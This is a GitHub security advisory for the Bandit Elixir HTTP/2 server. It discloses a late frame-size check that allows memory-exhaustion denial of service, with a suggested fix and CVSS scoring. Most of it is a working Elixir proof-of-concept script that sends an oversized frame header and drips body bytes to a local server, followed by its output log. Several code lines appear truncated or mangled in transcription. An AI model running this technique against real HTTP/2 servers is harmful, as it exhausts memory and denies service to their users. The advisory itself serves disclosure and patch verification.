

mtrudel / bandit Public

<> Code Issues 1 Pull requests 1 Actions Security and quality 5 Ins

HTTP/2 frame size limit bypassed by late buffer check enables memory exhaustion in Bandit

Moderate mtrudel published GHSA-q6v9-r226-v65f 10 hours ago

Package

 **bandit** (Erlang).

Affected versions

> 0.3.5 and < 1.11.0

Patched versions

1.11.0

Description

Summary

Bandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing `length = 0xFFFFFFFF` (~16 MiB).

3. Polls for `GOAWAY(FRAME_SIZE_ERROR)` . If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. `def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}` , placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on `length > max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses.

```
# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received –
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header – the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "-> 1.10"},
```



```
{:plug, "-> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_siz

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
      "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} – patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip...")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
      "Server is buffering an oversized frame body well past max_frame_size."
    )
  end
end
```

```

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
    :ok ->
      new_total = total_sent + @drip_chunk_size

      case poll_for_reaction(sock, 50) do
      {:goaway, error_code} ->
        log(
          "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server "
          "sent GOAWAY: error_code=#{error_code}."
        )

        finish(sock)

      :silent ->
        if rem(new_total, 512 * 1024) == 0 do
          log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
        end

        drip_loop(sock, new_total)
      end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
      end
    end

    defp poll_for_reaction(sock, timeout_ms) do
      case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
        {:ok, payload} when type == @type_goaway ->
          <<_last_id::32, error_code::32, _debug::binary>> = payload
          {:goaway, error_code}

        {:ok, _} ->
          :silent

        {:error, _} ->
          :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
      end
    end
  end
end
end

```

```

defp finish(sock), do: :gen_tcp.close(sock)

# --- HTTP/2 handshake helpers -----

defp handshake!(sock) do
  :ok = :gen_tcp.send(sock, @connection_preface)
  :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

  {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
  @type_settings = server_settings_frame.type
  advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

  :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

  _ = drain(sock, 100)
  advertised_max_frame_size
end

# SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
# SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
defp parse_max_frame_size(<<>>, current_value), do: current_value

defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
  parse_max_frame_size(rest, value)
end

defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
  parse_max_frame_size(rest, current)
end

defp build_settings_frame(payload, flags \\ 0) do
  frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
end

defp frame_header(length, type, flags, stream_id) do
  <<length::24, type::8, flags::8, 0::1, stream_id::31>>
end

defp recv_full_frame(sock, timeout_ms) do
  with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
    :gen_tcp.recv(sock, 9, timeout_ms),
    {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
    {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: p
  end
end

defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_m

defp drain(sock, timeout_ms) do
  case :gen_tcp.recv(sock, 0, timeout_ms) do
    {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
    {:error, _} -> <<>>
  end
end

```

```

end

defp log(message), do: IO.puts("#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

FrameSizeLateCheck.run()

```

```

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap
16384.
[15:23:19.444] Server silent after header. Beginning body drip...
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction.
Server is buffering an oversized frame body well past max_frame_size.

```



Severity

Moderate 6.9 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	None

Vulnerable System Impact Metrics

Confidentiality	None
Integrity	None
Availability	Low

Subsequent System Impact Metrics

Confidentiality	None
Integrity	None
Availability	None

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CVE ID

CVE-2026-42788

Weaknesses

No CWEs

Credits



PJUlrich

Reporter